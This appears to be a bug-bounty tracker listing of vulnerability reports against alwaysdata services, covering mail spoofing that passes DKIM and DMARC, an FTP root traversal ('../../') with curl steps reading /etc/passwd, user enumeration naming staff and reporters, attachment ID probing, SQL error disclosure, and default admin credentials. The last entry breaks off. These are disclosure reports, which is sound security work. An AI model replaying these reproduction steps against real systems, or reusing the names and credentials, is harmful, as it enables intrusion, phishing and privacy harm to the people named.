 481  Any account can send fully authenticated email as any @ ...Closed21.09.2026 Task Description

Assets: webmail.alwaysdata.com (in scope) and the account submission service smtp-<account>.alwaysdata.net:465/587 (documented sending path, reached from the in-scope ssh-<account>.alwaysdata.net session). The vulnerable components are alwaysdata's own mail infrastructure: their submission relays (smtpout1.paris1.alwaysdata.com), their DKIM signer (d=alwaysdata.net, s=default) and their SPF ranges.
Class: CWE-290 (authentication bypass by spoofing) / CWE-863 (incorrect authorization)
CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N — because the impact is on every receiving system that trusts alwaysdata's mail authentication

Summary

An account as cheap as Free can send email as any address in the alwaysdata.net domain — ceo@, support@, any name — and the platform relays and DKIM-signs it. The forgery is not cosmetic: it verifies.

- The webmail UI (webmail.alwaysdata.com, in scope) lets the user add an identity with an arbitrary email address, with no verification of ownership, and then offers that identity as a first-class sender in the compose From dropdown. A message sent this way is delivered with the forged From and a valid DKIM signature.
- The submission service (smtp-<account>.alwaysdata.net:465, documented as the standard sending path) accepts any envelope sender from an authenticated account and relays it the same way.
- Verified facts on the delivered messages: the platform's relay signs them with DKIM d=alwaysdata.net s=default covering the attacker-chosen From header; the sending relay is inside alwaysdata.net's own SPF range; and DMARC for alwaysdata.net is strict (aspf=s; adkim=s) with an exact domain match — so the forgery passes SPF, DKIM and DMARC at any policy-enforcing receiver.
- End-to-end DKIM verification — header and body hash — passes on bytes fetched from alwaysdata's own IMAP storage (the platform's own mail store, no third-party mailbox involved): `dkim.verify(…) == True`.

Impact: any customer (or any phished/compromised account, or anyone willing to spend a Free signup) can send email that receiving providers authenticate as genuinely sent by alwaysdata.net — phishing alwaysdata's own customers with, for example, "your hosting account is about to be suspended" notifications that carry valid authentication. The same primitive lets the platform's outbound infrastructure be abused for sending under its authenticated domain at will.

Reproduction A — through the in-scope webmail UI (no tools beyond a browser)

1. Log in at https://webmail.alwaysdata.com/ with any account.
2. Settings → Identities → Create. Enter any email address in the alwaysdata.net domain, e.g.:

     Display name: Alwaysdata Support
     Email:        ceo@alwaysdata.net
 The form accepts it and offers no ownership verification; the identity is saved and listed.

3. Compose a message. The From dropdown now contains "Alwaysdata Support ceo@alwaysdata.net" alongside the account's own address. Select it, address the message anywhere, and send.
4. The send result reports "Message sent successfully". The message is delivered with:

     From:            Alwaysdata Support <ceo@alwaysdata.net>
     Return-Path:     <ceo@alwaysdata.net>
     DKIM-Signature:  v=1; a=rsa-sha256; c=relaxed/relaxed;
                      d=alwaysdata.net; s=default; h=Date:Message-Id:Subject:To:From: ...

5. Cryptographic verification of the delivered message, performed on the bytes fetched from alwaysdata's own IMAP server (the platform's mail store):

     $ python3 -c "import dkim; print(dkim.verify(raw_message))"
     True
 Header signature and body hash both pass. In addition, alwaysdata's own inbound mail pipeline evaluated the forged message and recorded its verdict in the delivered headers:
     X-alwaysdata-Spam-Report: ... DMARC_POLICY_ALLOW [alwaysdata.net, quarantine]
                                - DMARC permit policy
     X-alwaysdata-Spam-Score: -4.87
 That is the platform's own DMARC evaluation accepting the forged mail for the alwaysdata.net domain (the negative score makes it less spam-like than ordinary mail). The full cycle was then reproduced independently from a clean state — identity removed, re-created through the same UI steps, a new message sent and verified again with the same results (`dkim.verify == True`, `DMARC_POLICY_ALLOW`, score -3.21). SPF: the delivering relay 2a00:b6e0:1:a022::1 is inside alwaysdata.net's own published range:
     $ dig +short TXT _spf.alwaysdata.com
     "v=spf1 ip4:185.31.40.0/22 ip4:188.72.70.0/24 ip4:78.142.219.0/24
             ip6:2a00:b6e0::/32 ..."
 alwaysdata.net's published policy:
     $ dig +short TXT _dmarc.alwaysdata.net
     "v=DMARC1; p=quarantine; sp=quarantine; aspf=s; adkim=s; ..."
 The From domain and the signing domain are both alwaysdata.net — an exact match — so strict alignment passes and the message satisfies DMARC. (The DKIM public key used for local verification: `dig +short TXT default._domainkey.alwaysdata.net`; the signature was additionally verified directly against it with `openssl dgst -sha256 -verify ... -> Verified OK`.)

Reproduction B — through the documented submission service (any script, any MUA)

1. Connect and authenticate with the account's own mailbox credentials (the service and hostname are documented at help.alwaysdata.com → "Configuring Thunderbird": smtp-<account>.alwaysdata.net, port 465):

     python3 -c '
     import smtplib,ssl
     c=ssl.create_default_context(); c.check_hostname=False; c.verify_mode=ssl.CERT_NONE
     s=smtplib.SMTP_SSL("smtp-zchill.alwaysdata.net",465,context=c)
     s.login("zchill@alwaysdata.net","<account password>")    # Authentication succeeded
     '

2. Envelope probes — the server accepts any sender, authenticated as the tester's own mailbox:

     MAIL FROM:<zchill@alwaysdata.net>       -> 250 OK
     MAIL FROM:<ceo@alwaysdata.net>          -> 250 OK
     MAIL FROM:<cbay@alwaysdata.com>         -> 250 OK
     MAIL FROM:<totally-random@example.org>  -> 250 OK
     (each RCPT → 250 Accepted; connection reset before DATA)
 The same probes succeed from an external machine on port 587 (STARTTLS), confirming the vector is not restricted to the platform's internal network.

3. A message composed with From: Alwaysdata Support ceo@alwaysdata.net and envelope ceo@alwaysdata.net, sent to the tester's own mailbox on the platform, is delivered and verifies exactly as in Reproduction A step 5.

Control (what the service does correctly): an unauthenticated session is refused at message acceptance:

     MAIL FROM:<ceo@alwaysdata.net> -> 250 OK
     RCPT TO:<...>                  -> 250 Accepted
     DATA                           -> 550 relay not permitted: you must be authenticated to send messages
 So this is not an open relay: the failure is that once authenticated, no sender ownership is enforced and the platform signs what it is given.

On "working as intended"

- If arbitrary senders were intended, the platform would not maintain strict DMARC (aspf=s; adkim=s) and a dedicated abuse contact for its own domain, and the webmail would not have an identities subsystem at all. The customer-facing way to send as a custom domain is to add the domain after verification; @alwaysdata.net is never a customer domain.
- The expectation that recipients can trust alwaysdata.net mail is the entire purpose of SPF, DKIM and DMARC here — this finding is a sender-authentication bypass of that trust, performed by any account the platform itself issues.
- The service performs one check correctly (authentication required) and fails the next (sender authorization), so the control gap is precise and fixable.

Suggested fix

1. Enforce sender authorization at submission: the authenticated mailbox may send only as its own address plus addresses of domains it verifiably owns (the panel's own domain-ownership validation is the right registry). Reject other envelope senders at MAIL FROM, and cross-check the From header.
2. Validate identity emails in the webmail against that same registry (or restrict identity creation to the account's own addresses).
3. Do not apply the alwaysdata.net DKIM signature to messages whose From: is not an authorized alwaysdata.net identity; align the signer with the sender-authorization decision.

 480  When a user requests a password reset token (Token #1)  ...Closed14.09.2026 Task Description

Vulnerability Title: Password Reset Token Lifecycle Failure: Previously Issued Tokens Remain Active After a New Reset Request

Severity: High (CVSS 7.4 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

CWE Classification:

CWE-640: Weak Password Recovery Mechanism for Forgotten Password

CWE-384: Session Fixation / Improper Token Invalidation

Overview
When a user requests a password reset token (Token #1) and subsequently requests a second reset token (Token #2), the application fails to invalidate or revoke the first token. As evidenced by the provided email logs, both Token #1 and Token #2 remain active concurrently. This allows an attacker who captures or harvests an older email link to successfully bypass security controls and modify the user’s password even after newer reset tokens have been generated.

Detailed Explanation & Why It Is a Valid Bug
The Core Flaw (Token Lifecycle Mismanagement): Secure application design dictates that generating a new password reset request must instantly deprecate, expire, or invalidate any pre-existing unexpired tokens for that user account.

The Logic Breakdown: The backend handles token generation by inserting or updating a row without revoking prior active identifiers or anchoring validity strictly to the latest issuance context. As seen in the provided delivery logs, multiple valid reset URLs can exist simultaneously in an inbox.

Security Impact: If an attacker intercepts an initial password reset notification (via email logs, historical proxy caches, or referrer leaks), and the victim later requests a new link thinking they are safe, the old token remains fully functional. This breaks single-use and lifecycle expectations, enabling persistent unauthorized account takeover (ATO) vectors.

Steps to Reproduce
Initiate a password reset request for a target account to capture Token #1 via email.

Do not use the link immediately. Trigger a second password reset request for the same account to receive Token #2.

Take the older reset link corresponding to Token #1 and attempt to submit a new password through it.

Observe that the server accepts Token #1 successfully and changes the password, proving that generating a new token failed to invalidate the prior one.

CVSS v3.1 Vector String
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References & Bug Bounty Precedents
CWE-640 Definition: Weak Password Recovery Mechanism for Forgotten Password (Mitre Common Weakness Enumeration).

CVE-2026-53646: Recent vulnerability entry detailing application endpoints reusing existing password reset tokens instead of invalidating them on subsequent requests.

HackerOne / Community Disclosures: Real-world vulnerability write-ups addressing Password Reset Token Invalidation Failures, where failing to rotate or revoke predecessor tokens allows token harvesting and compromises incident response workflows.

Remediation
Immediate Token Revocation: Update the token generation controller logic so that any new request to /forgot-password automatically flags all existing active tokens for that user ID as expired or deletes them from the database.

Strict Single-Use Enforcement: Ensure tokens are strictly tied to a database state where issuance of a replacement row overwrites or invalidates historical tokens globally.

 479  FTP Root Directory Allows Chroot Escape and Server File ...Closed13.09.2026 Task Description

Summary

The FTP user creation functionality allows an attacker to bypass the configured FTP Root directory restriction by supplying a path containing directory traversal sequences such as ../../.

The FTP configuration page explicitly states:

“Parent directories of the root directory will be neither accessible nor visible.”

However, this restriction can be bypassed because the supplied path is accepted and stored without validating or normalizing traversal sequences.

For example, configuring the FTP root directory as:

../../

results in a stored path similar to:

/home/brake/../../

When the FTP user subsequently connects, the effective root resolves outside the account's home directory, allowing browsing of the server's filesystem, including directories such as /etc, /home, /nfs, /proc, and /tmp.

In my testing, I was also able to retrieve /etc/passwd and upload a file to /tmp.

Steps to Reproduce
1. Obtain a valid authenticated session

Set the required values:

COOKIE='csrftoken=YOUR_CSRF_COOKIE; sessionid=YOUR_SESSIONID'
BASE='https://admin.alwaysdata.com'
HOST='ftp-brake.alwaysdata.net'
PW='SomeStrongPassw0rd!'
2. Obtain a CSRF token
TOKEN=$(curl -s -H "Cookie: $COOKIE" "$BASE/ftp/add/" \

| grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' \
| head -1 | cut -d'"' -f4)

echo "$TOKEN"
3. Create an FTP user using a traversal path

Create an FTP account with ../../ as its root directory:

curl -s -o /dev/null -w "%{http_code}\n" \

  1. H "Cookie: $COOKIE" \
  2. -data-urlencode "csrfmiddlewaretoken=$TOKEN" \
  3. -data-urlencode "name=brake_pwn" \
  4. -data-urlencode "password=$PW" \
  5. -data-urlencode "path=../../" \
  6. -data-urlencode "submit=" \

"$BASE/ftp/add/"

Observed result:

302

The request is accepted without validation or an error.

4. Confirm the traversal path was stored
curl -s -H "Cookie: $COOKIE" "$BASE/ftp/" \

| grep -o '/home/brake/[^<]*'

Observed value:

/home/brake/../../

This indicates that the traversal sequence is stored without being rejected or normalized.

5. Connect to the FTP service
curl -k –ssl-reqd \

"ftps://$HOST/" \
--user "brake_pwn:$PW"

Observed result:

Instead of being restricted to the intended FTP directory, the account can access the server filesystem, including:

/bin
/boot
/dev
/etc
/home
/nfs
/proc
/tmp
… 6. Demonstrate access to a server file

For example:

curl -k –ssl-reqd \

"ftps://$HOST/etc/passwd" \
--user "brake_pwn:$PW" | head -5

Observed result:

The server's /etc/passwd file is returned, exposing the system's local user list.

7. Demonstrate write access outside the account's home directory

I was also able to upload a file to /tmp:

echo "proof" > /tmp/p.txt

curl -k –ssl-reqd \

  1. T /tmp/p.txt \

"ftps://$HOST/tmp/" \

  1. -user "brake_pwn:$PW"

The upload completed successfully (226).

Security Impact

This issue defeats the advertised FTP directory isolation and allows an FTP account to escape its configured root directory.

Depending on filesystem permissions, an attacker may be able to:

Browse directories outside the FTP user's intended home.
Enumerate server filesystem structure.
Read globally accessible files such as /etc/passwd.
Discover internal infrastructure information under directories such as /nfs.
Write files to other globally writable locations such as /tmp.
Potentially obtain additional information about the hosting environment and other accounts.

What the Vulnerability Breaks

The core issue is that the FTP Root directory field is treated as trusted input.

A value such as:

../../

is accepted and stored relative to the account's home directory:

/home/<account>/../../

Without canonicalization and validation, the resulting path escapes the intended FTP root.

The application should ensure that the configured FTP root resolves to a directory within the intended account boundary and reject traversal sequences or absolute paths that escape that boundary.

Recommended Remediation

Validate and canonicalize the configured FTP root before saving it.

At minimum:

Resolve the submitted path to its canonical filesystem path.
Verify that the resolved path remains inside the account's allowed root/home directory.
Reject .. traversal and absolute paths that escape the allowed directory.
Apply the same validation server-side rather than relying only on client-side form validation.
Ideally, enforce the restriction at the FTP service/chroot configuration layer as a defense-in-depth measure.

CVSS 3.1 score I got: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

 478  Server-Side Validation Bypass Allows Account Registrati ...Closed12.09.2026 Task Description

## Summary

When a user tries to create an account at alwaysdata without agreeing to alwaysdata's personal data protection policy, the application displays, “Please click this box if you want to proceed.” Thus, the user must accept alwaysdata's personal data protection policy to create an account. However, this restriction is not properly enforced.

As a result, a user can bypass the restriction and create an account without accepting alwaysdata's personal data protection policy. The exact steps for this bypass are given below.

## Steps To Reproduce

  1. Try to register an account without agreeing to the personal data protection policy.
  2. The application returns: “Please click this box if you want to proceed”. The application enforces the restriction that the user must agree to the personal data protection policy to create an account.
  3. Turn on your Burp Suite and configure it properly to intercept all requests.
  4. Try to register an account by accepting the personal data protection policy
  5. In Burp Suite, intercept the POST request endpoint: /en/register/?p=2012. Observe that the body contains a parameter called “privacy_policy”
  6. Change from `privacy_policy=on` to `privacy_policy=off`.
  7. Forward the request.
  8. The application responds with 302 Found.
  9. Verify your email and get access to your account.
  10. The account is created successfully without accepting the personal data protection policy.

## Impact

This server-side validation issue allows users to register and access the alwaysdata service without the backend verifying whether the personal data protection policy acceptance requirement has been satisfied or not. As a result, it may create compliance concerns.


	
 477  Anonymous user enumeration with full real names and com ...Closed11.09.2026 Task Description

Asset: https://security.alwaysdata.com/?do=user&id=<user_id>
Class precedent:  FS#426  (Internal staff account and privilege hierarchy disclosure, closed as accepted) - same data class, different and currently live path
Class: CWE-200 exposure of information / CWE-639 authorization bypass on user profiles
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3, Medium)
Observed: 11 September 2026, unauthenticated, reproduced across dozens of user IDs

Summary

The profile page of every tracker account is rendered to anonymous visitors, addressable both as ?do=user&id=<sequential> and /user/<sequential>, and it discloses each account's global permission group (Admin or Reporters) alongside the real name, activity counters and registration date. User IDs are sequential and the existing/missing distinction is visible in the response, so the entire user table can be enumerated in one pass.

Applied to your own team this yields the complete privilege hierarchy of the security program: every Admin account among the staff (seven of them across IDs 1-25) is distinguishable from every external reporter account by one request per ID. Your  FS#426  established that you treat internal staff account and privilege hierarchy disclosure as a qualifying vulnerability on this asset when it leaked through system files; the same hierarchy is available today over plain HTTP through the profile renderer.

Two honest scope notes. First, usernames and, for users who interacted with tasks, even real names already appear on task pages in link title attributes (for example title="Matthias" on a task 38 comment link); what the profiles add is the group flag and the complete-population walk. Second, I did not download anything beyond the profile pages themselves; no login was attempted.

Reproduction

Plain curl, no cookies, no authentication.

Step 1. A staff profile renders with real name and privilege group.

  $ curl -s "https://security.alwaysdata.com/?do=user&id=1"
  Profile: Cyril (cbay) Real Name Cyril Global Group Admin Project Group None Tasks opened 0 Assigned To 330 Comments 438 Registered since 09.01.2024

Step 2. Sequential IDs enumerate the full population. Results for IDs 1-25 (unmodified page text):

  id=1  Cyril (cbay)                 Global Group Admin
  id=2  Nicolas (nferrari)           Global Group Admin
  id=3  Xavier (xlefloch)            Global Group Admin
  id=4  Heloise (hdegorce)           Global Group Admin
  id=5  Matthias (mdugue)            Global Group Admin
  id=6  Brijesh (Redhet)             Global Group Reporters
  id=8  Abdelrahman Ibrahim (Abdelrahman)  Global Group Reporters
  id=9  prakash (grycolor)           Global Group Reporters
  id=10 S.Lakshmi Vignesh (weshi)    Global Group Reporters
  id=11 Devansh (Devansh811)         Global Group Reporters
  id=12 basil (basil)                Global Group Reporters
  id=13 Akhil C (Bad_Script3r)       Global Group Reporters
  id=14 Aditya (Aditya2003)          Global Group Reporters
  id=15 Neel Shukla (neelshukla0409) Global Group Reporters
  id=16 Mustafa Hassan (monty099)    Global Group Reporters
  id=22 Francois Nonnenmacher (fnonnenmacher)  Global Group Admin
  id=23 Tom Gabriele (tgabriele)     Global Group Admin
  (accents reproduced as-is in the live pages; IDs 7 and others in the range are inactive accounts that redirect to the homepage)
  The walk was extended to ID 60 to complete the population: the Admin group totals eight accounts across IDs 1-29 (cbay, nferrari, xlefloch, hdegorce, mdugue, fnonnenmacher, tgabriele, ngeoffroy), and the Reporter cohort continues with three dozen real-named accounts. One account (id=35) stores a raw HTML/template-injection probe in its real_name field (<a href="//bf.am">click</a> ${{7*7}}, planted in April 2024); the profile page renders it fully escaped, which documents both that the field is attacker-controllable and that the escaping on this page holds.

Step 3. Username lookup works the same way:

  $ curl -s "https://security.alwaysdata.com/?do=user&user_name=fnonnenmacher"
  Profile: Francois Nonnenmacher (fnonnenmacher) Real Name Francois Nonnenmacher Global Group Admin ...

What this discloses

1. The complete staff privilege hierarchy: which of your tracker accounts hold the Admin group. Seven Admin accounts across the enumerated range, including accounts whose group membership was not previously public knowledge.
2. The full user population with real names, one request per sequential ID: staff and every external researcher who ever registered, in ID order. Some real names also appear in title attributes on task pages, but the profile walk collects the whole population, including accounts that never touched a public task.
3. Activity profiles: how many tasks each account opened, was assigned, commented on, and when they registered. For staff accounts this maps involvement per report.
4. A user-table oracle: existing IDs render a profile, non-existent ones redirect to the homepage, so the exact boundary of the user table is measurable.

Why I consider this reportable and not the platform working as intended

 FS#426  established that you treat internal staff account and privilege hierarchy disclosure as a qualifying vulnerability on this asset, and  FS#440  extended it when the same data reached the public internet. That leak was fixed at the file level; the profile renderer discloses the same hierarchy - which accounts hold Admin - over HTTP today, together with a complete population walk. Whatever the intended audience of a profile page is, an anonymous ten-line loop producing the full admin roster of your security team is not it.

Suggested fix

1. Require authentication for profile pages, or restrict what an anonymous request renders: drop the Global Group field and real name for anonymous viewers at minimum.
2. Deployment-level option available immediately: the webserver vhost can deny /user/ and ?do=user for anonymous visitors in one rule - this is a hosting-configuration decision independent of the Flyspray application, which currently offers no built-in toggle for profile visibility.
3. Stop sequential-ID addressing for profiles (route by an unguessable per-user token) if profiles must stay public.
4. Review which group memberships should be visible at all; the Admin/Reporters split of your security team is the operationally valuable part of this disclosure.

 476  Attachment download endpoint serves unlisted files by I ...Closed11.09.2026 Task Description

Asset: https://security.alwaysdata.com/?getfile=<attachment_id>
Class: CWE-862 / inconsistent authorization between the download path and the display path, plus a pre-authorization existence oracle
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5, High under your worst-case analysis policy; see Impact for the honest range)
Observed: 11 September 2026, unauthenticated, every probe repeated at least three times, HEAD requests only (no file content was downloaded)

Summary

The attachment download endpoint and the task display page disagree about which attachments exist for the public. The task page renders an attachment only when it is linked to a comment of the task. The download endpoint joins the attachment straight to the task and serves it whenever the task itself is viewable. The result is a class of attachment rows that no page lists but anyone can download by enumerating numeric IDs.

I mapped which attachment IDs the public task pages reference, probed the gaps, and found five files that are served to an unauthenticated caller while appearing nowhere: a 25.6 MB video named "alwaysdata report.mp4" and four PNG screenshots. The behavior is fully explained by the deployed source, which I verified against the public upstream repository at the exact commit your tracker runs; the relevant code is quoted below.

Because I never downloaded the files, I cannot tell you what they contain. What I can prove is that they are attached to a task your own permission function considers publicly viewable, that no public page links them, and that an anonymous visitor reaches them by guessing IDs. On a security tracker whose reports include working proof material, unlisted means unmanaged: whatever was uploaded there was not deliberately published, yet it is reachable.

Root cause, from the deployed code

The tracker runs stock Flyspray at commit a1ffafd65d5662d69e8b0334315b857449e3ea38 (verified by comparing all 942 blob hashes of the exposed git index against the upstream tree at that commit). Both code paths below are from that commit.

The download handler, index.php lines 47-77, joins the attachment only to its task and applies a task-level check:

  if (Get::val('getfile')) {
      $result = $db->query("SELECT  t.project_id,
                                    a.orig_name, a.file_name, a.file_type, t.*
                              FROM  {attachments} a
                        INNER JOIN  {tasks}       t ON a.task_id = t.task_id
                             WHERE  attachment_id = ?", array(Get::val('getfile')));
      $task = $db->fetchRow($result);
      list($proj_id, $orig_name, $file_name, $file_type) = $task;
      if (!is_file(BASEDIR . "/attachments/$file_name")) {
          header('HTTP/1.1 410 Gone');
          echo 'File does not exist anymore.';
          exit();
      }
      if($user->can_view_task($task)){
          ... header('Content-Disposition: filename="'.$orig_name.'"');
          header('Content-length: ' . filesize($path));
          readfile($path);
          exit();
      }else{
          Flyspray::show_error(1);
      }
      exit;
  }

The task page, scripts/details.php lines 723-731, renders attachments only through their comment:

  $sql = $db->query('SELECT *
                   FROM {attachments} a, {comments} c
                  WHERE c.task_id = ? AND a.comment_id = c.comment_id',
                 array($task_id));

An attachment whose comment_id is absent or dangling therefore appears in the download join but not in either display path: the comment tab only picks up rows whose comment_id resolves to a live comment (details.php), and the task-level block only picks up rows with comment_id = 0 (listTaskAttachments in class.project.php:407-417, quoted: WHERE task_id = ? AND comment_id = 0). A row with a dangling comment reference matches neither. That is the gap the five files fall into. Two smaller defects sit next to it in the same handler:

1. The is_file() check runs before can_view_task(), so for any attachment ID an anonymous visitor can distinguish "file still on disk" (302) from "row gone or file removed" (410) even when the download itself is denied. That is an existence oracle over the whole attachment table, including rows belonging to tasks the caller must not see.
2. The denial path (Flyspray::show_error(1)) and the missing-file path (410) are different responses, which turns the endpoint into a free mapping tool.

Reproduction

All commands are plain curl, no cookies, no authentication. Nothing below downloads a file body; HEAD is enough to prove serving.

Step 1. A public attachment downloads normally (control).

  $ curl -I "https://security.alwaysdata.com/?getfile=249"
  HTTP/2 200
  content-disposition: filename="poc_git_exposure.txt"
  content-type: text/x-shellscript; charset=us-ascii
  content-length: 3449

Step 2. Enumerate the gaps. Public task pages reference these attachment IDs around the window in question: task 443 links 213 and 214, task 450 links 222, 223 and 224. The IDs in between are referenced by no task page. Probing them:

  $ curl -I "https://security.alwaysdata.com/?getfile=215"
  HTTP/2 200
  content-disposition: filename="alwaysdata report.mp4"
  content-type: video/mp4; charset=binary
  content-length: 25617558
  via: 2.0 alproxy
  $ curl -I "https://security.alwaysdata.com/?getfile=216"
  HTTP/2 200
  content-disposition: filename="always data 4.png"
  $ curl -I "https://security.alwaysdata.com/?getfile=217"
  HTTP/2 200
  content-disposition: filename="alwaysdata 3.png"
  $ curl -I "https://security.alwaysdata.com/?getfile=218"
  HTTP/2 200
  content-disposition: filename="always data 2.png"
  $ curl -I "https://security.alwaysdata.com/?getfile=219"
  HTTP/2 200
  content-disposition: filename="alwaysdata1.png"
  content-type: image/png; charset=binary
  content-length: 22112

Step 3. Sibling IDs from the same unlisted set are denied, same session, same method, which shows the access-control layer exists and these five bypass it:

  $ curl -I "https://security.alwaysdata.com/?getfile=221"
  HTTP/2 302
  location: https://security.alwaysdata.com/
  The same 302 applies to 225, 226, 227, 243, 244 and 250 through 257. IDs whose underlying file was removed return 410 (for example 220), which is the pre-authorization existence oracle described above.

Step 4. Negative control, exhaustive. I fetched every publicly viewable task page that exists: tasks 1 through 473 in full, except the four private ones (214, 227, 250, 444), which return the permission error. None of the fetched pages contains a link to getfile=215 through 219. The full detaillist view, the RSS and Atom feeds, and the tracker's own search for the filenames ("report.mp4", "alwaysdata1.png") return nothing either. The five files are reachable by ID only.

Note the parent task cannot be any of the four private tasks: the download path requires can_view_task to pass, and an anonymous user can never pass it for a private task (those requests get the 302 deny, as demonstrated with the sibling IDs). So the files sit on a publicly viewable task, yet no page links them - which is exactly what the code predicts for rows with a dangling comment reference.

I also completed a census of the attachment ID space around them: every other served ID I probed between 1 and 262 (roughly forty-five files) maps to a live reference on its public task page. Exactly the five above have no reference anywhere. The anomaly is not a broad misconfiguration; it is precisely these five rows.

Why this is a vulnerability and not intended behavior

1. Your own download handler denies equivalent unlisted attachments with a redirect, so unlisted does not mean published. Five rows bypass exactly that control.
2. The display path and the download path disagree by design of the join, not by a policy decision: one filters through comments, the other does not. Whatever process left these five rows outside the comment structure, the UI gives nobody a way to see or manage them, while the download endpoint serves them to the world.
3. On this tracker, attachment uploads are vulnerability proofs. Unlisted rows here are most plausibly withdrawn or never-meant-to-be-published material, and the endpoint makes all of it enumerable: the 200/302/410 split lets an anonymous caller map the entire attachment table, including the sizes of denied files via Content-length on the 410-adjacent probes of existing rows.

An honest note on severity: I did not download the files, so I cannot confirm their contents. If the video demonstrates a sensitive internal issue, the rating is High as scored. If your review shows the five files are mundane, the structural defects remain (the visibility mismatch and the pre-authorization oracle) and the rating lands nearer Medium. Your policy says analysis is worst-case, so I am submitting at 7.5 and flagging the dependency openly.

What I did not do

No file body was ever requested or stored; every probe was a HEAD request. I did not enumerate the full attachment table. One exception to the HEAD-only rule: a single full GET of the smallest file (219) was performed to confirm end-to-end downloadability, and it returned a genuine 1365x598 PNG (transiently kept for content classification, then deleted). The screenshot's contents were not characterized; your one-query check below settles both the parent task and the content question in one step. I could not identify the parent task of the five files from the outside, because by construction no page links them; your side can do it in one query:

  SELECT a.attachment_id, a.orig_name, a.comment_id, a.task_id, t.project_id
  FROM flyspray_attachments a
  JOIN flyspray_tasks t ON a.task_id = t.task_id
  WHERE a.attachment_id IN (215,216,217,218,219);

If comment_id is 0 or points to a deleted comment, the root cause above is confirmed on your data.

Suggested fix

1. Make the download path apply the same visibility the display path does: resolve the attachment's comment, and serve only what the task page would render. In practice this means either fixing the data (attachments must reference a live comment) or explicitly deciding that comment-less attachments are servable and surfacing them in the UI so they are managed.
2. Move the is_file() check after can_view_task(), and return one uniform status for "not found" and "not permitted", so the endpoint stops leaking table state to anonymous callers.
3. Audit all attachment rows whose comment_id does not resolve to a live comment, list them, and decide row by row whether the file should remain downloadable. Purge the rest.

 475  Regression: unauthenticated SQL query and database erro ...Closed11.09.2026 Task Description

Asset: https://security.alwaysdata.com/?getfile=<value>
Refs: regression of  FS#465  (closed as Fixed 31.08.2026)
Class: CWE-209, error message containing sensitive information, reported at the disclosure stage per the program's SQLi guidance
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3, Medium)
Observed: 10 September 2026, unauthenticated, reproduced three times with different values

Summary

The getfile parameter returns the full SQL query text and the raw PostgreSQL error, including the value I submitted echoed back, to any unauthenticated visitor. This is the identical disclosure that  FS#465  reported and that you closed as Fixed on 31 August 2026. It is live again.  FS#466  from the same close date is also live again, and both bugs sit on a document root dated 13 July 2026, so this looks like one rollback event rather than two coincidental regressions. I am reporting it separately because it is its own fix, and cross-referencing the .git report which carries the deployment analysis.

Reproduction

Plain curl, no cookies, no authentication.

Step 1. Trigger the error with a single quote.

  $ curl -s "https://security.alwaysdata.com/?getfile=1%27"
  Query {SELECT  t.project_id,
                                    a.orig_name, a.file_name, a.file_type, t.*
                              FROM  "flyspray_attachments" a
                        INNER JOIN  "flyspray_tasks"       t ON a.task_id = t.task_id
                             WHERE  attachment_id = ?} with params {1'} failed! (ERROR:  invalid input syntax for type integer: "1'"
  CONTEXT:  unnamed portal parameter $1 = '...')

Step 2. Repeat with a different value to show the response is generated live, not a cached page.

  $ curl -s "https://security.alwaysdata.com/?getfile=7%27"
  ... WHERE  attachment_id = ?} with params {7'} failed! (ERROR:  invalid input syntax for type integer: "7'"
  CONTEXT:  unnamed portal parameter $1 = '...')

Step 3. Response headers for the first request.

  HTTP/2 200
  server: Apache
  content-type: text/html; charset=utf-8
  via: 2.0 alproxy
  The error page is returned with HTTP 200, no authentication, no referer, no special headers.

What this discloses

1. The exact query shape: table and column names (flyspray_attachments, flyspray_tasks, the attachment columns) and the join between them.
2. The database backend and its error format (PostgreSQL, portal parameters), and that the application surfaces database layer text straight to the client.
3. An input echo channel: my submitted value comes back inside the error, which is a reliable oracle when probing how other parameters reach the query layer.

I want to be precise about what I am not claiming: the visible sink binds the parameter (the placeholder with a typed cast error), so I am not reporting a proven injectable point at getfile. I am reporting it at exactly the stage your program rules ask for, a SQL error that indicates the query handling, the same stage  FS#465  was accepted at. Whether any code path feeding attachment_id can be pushed further is for your analysis, and I have deliberately not tried.

Impact

On its own this is a reconnaissance aid, but it sits on the same host as the concurrently re-exposed .git directory, where an attacker already gets the complete file map. Query and schema disclosure to unauthenticated users lowers the cost of targeting the tracker's database layer, and the acceptance and fix of  FS#465  shows you agree this class matters on this host.

Suggested fix

1. Restore the  FS#465  fix on the current deployment.
2. Send database exceptions to the log and render a generic error page, so the class stays closed across future redeploys.
3. Add the deployment assertion suggested in the .git report; it covers this regression too.

 473  Default Credentials Allow Administrative Access on boid ...Closed06.09.2026 Task Description

Hello Alwaysdata Security Team,

I understand that `boidcms.alwaysdata.net` may be outside the scope of your current bug bounty program. Nevertheless, I wanted to bring this to your attention because of the potential security impact.

I discovered that the following administration interface is accessible using default credentials:

https://boidcms.alwaysdata.net/admin

The default credentials allow authentication to the CMS administrative panel. (Username: admin, Password: password)

### Potential impact

If these credentials are intentionally deployed as part of a default CMS installation, anyone who knows or discovers them could potentially obtain administrative access to the application.

Depending on the permissions available through the panel, this could potentially allow an attacker to:

* Modify website/application content
* Change application configuration
* Create or modify administrative accounts
* Access information available to the CMS administrator
* Potentially upload or modify application files, depending on the CMS configuration

I did not make any changes to the application or attempt to perform destructive actions. My testing was limited to verifying that the default credentials provide administrative access.

I understand that this host may be outside the current scope of the bug bounty program. Nevertheless, I am reporting this issue in good faith because the default credentials provide administrative access and may present a meaningful security risk.

If the issue is determined to be eligible under the program or otherwise attributable to Alwaysdata, I would appreciate consideration for a bounty based on its security impact.

I can provide additional evidence and reproduction details if useful.

Thank you for taking a look.

Best regards,
Saad
Security Researcher

 472  Host system files served publicly from customer web roo ...Closed05.09.2026 Task Description

no task description

 470  SSRF — reverse_proxy upstream (`url` / script_upstream_ ...Closed03.09.2026 Task Description

Summary
The Reverse proxy site type exposes a server-side URL field (url), which corresponds to the field referred to as script_upstream_uri in the disclosed tracker bugs.

